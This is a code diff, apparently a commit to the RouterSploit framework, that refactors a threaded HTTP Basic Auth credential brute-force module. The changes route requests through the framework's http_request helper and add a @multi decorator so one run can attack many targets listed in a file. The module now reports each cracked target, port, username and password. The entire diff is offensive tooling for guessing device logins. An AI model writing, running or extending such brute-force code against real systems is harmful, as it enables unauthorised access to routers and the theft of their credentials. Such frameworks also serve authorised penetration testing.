11import threading
2- import requests
32import itertools
43
54from routersploit import (
1110 print_success ,
1211 print_table ,
1312 sanitize_url ,
13+ http_request ,
1414 boolify ,
15+ multi ,
1516)
1617
1718
@@ -27,7 +28,7 @@ class Exploit(exploits.Exploit):
2728 ]
2829 }
2930
30- target = exploits .Option ('' , 'Target address e.g. http://192.168.1.1 ' )
31+ target = exploits .Option ('' , 'Target IP address or file with target:port (file://) ' )
3132 port = exploits .Option (80 , 'Target port' )
3233
3334 threads = exploits .Option (8 , 'Numbers of threads' )
@@ -40,18 +41,17 @@ class Exploit(exploits.Exploit):
4041
4142 def run (self ):
4243 self .credentials = []
44+ self .attack ()
45+
46+ @multi
47+ def attack (self ):
4348 url = sanitize_url ("{}:{}{}" .format (self .target , self .port , self .path ))
4449
45- try :
46- r = requests .get (url , verify = False )
47- except (requests .exceptions .MissingSchema , requests .exceptions .InvalidSchema ):
48- print_error ("Invalid URL format: %s" % url )
49- return
50- except requests .exceptions .ConnectionError :
51- print_error ("Connection error: %s" % url )
50+ response = http_request (method = "GET" , url = url )
51+ if response is None :
5252 return
5353
54- if r .status_code != 401 :
54+ if response .status_code != 401 :
5555 print_status ("Target is not protected by Basic Auth" )
5656 return
5757
@@ -71,7 +71,7 @@ def run(self):
7171
7272 if len (self .credentials ):
7373 print_success ("Credentials found!" )
74- headers = ("Login" , "Password" )
74+ headers = ("Target" , "Port" , " Login" , "Password" )
7575 print_table (headers , * self .credentials )
7676 else :
7777 print_error ("Credentials not found" )
@@ -88,14 +88,15 @@ def target_function(self, running, data):
8888 user , password = data .next ()
8989 user = user .encode ('utf-8' ).strip ()
9090 password = password .encode ('utf-8' ).strip ()
91- r = requests .get (url , auth = (user , password ), verify = False )
9291
93- if r .status_code != 401 :
92+ response = http_request (method = "GET" , url = url , auth = (user , password ))
93+
94+ if response .status_code != 401 :
9495 running .clear ()
95- print_success ("{}: Authentication succeed! " .format (name ) , user , password , verbose = module_verbosity )
96- self .credentials .append ((user , password ))
96+ print_success ("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}' " .format (self . target , self . port , name , user , password ) , verbose = module_verbosity )
97+ self .credentials .append ((self . target , self . port , user , password ))
9798 else :
98- print_error (name , " Authentication Failed - Username: '{}' Password: '{}'" .format (user , password ), verbose = module_verbosity )
99+ print_error ("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'" .format (self . target , self . port , name , user , password ), verbose = module_verbosity )
99100 except StopIteration :
100101 break
101102
0 commit comments